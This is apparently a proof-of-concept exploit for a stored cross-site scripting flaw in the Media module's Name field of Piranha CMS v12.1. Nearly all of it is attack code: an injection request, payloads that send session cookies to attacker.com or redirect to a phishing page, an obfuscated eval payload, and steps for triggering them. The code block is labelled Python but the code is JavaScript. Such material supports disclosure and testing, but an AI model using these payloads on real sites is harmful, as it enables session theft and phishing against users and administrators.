A stored cross-site scripting (XSS) vulnerability in the Media module of Piranha CMS v12.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name field.
The following code is for security research and authorized testing only.
python
// CVE-2025-67291 Stored XSS PoC for Piranha CMS v12.1
// Media Module Name Field Injection
// Step 1: Upload a media file with malicious name
// Intercept the upload request and modify the 'Name' parameter:
const pocPayload = '<img src=x onerror=alert(document.cookie)>';
// Example HTTP POST request to upload media:
const uploadRequest = {
method: 'POST',
url: '/manager/media/upload',
headers: {
'Content-Type': 'multipart/form-data',
'Authorization': 'Bearer <admin_token>'
},
body: {
'file': '@malicious_file.jpg',
'Name': pocPayload // Inject XSS payload here
}
};
// Alternative payload variants:
const altPayloads = [
'<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>',
'<iframe src="javascript:alert(document.domain)">',
'<svg onload=eval(atob("YWxlcnQoJ1hTUycp"))>',
'<body onload=document.location="https://attacker.com/phish">'
];
// Step 2: Trigger the XSS
// Navigate to Media listing page where the malicious name is displayed:
// GET /manager/media
// The injected script will execute when the page renders the media name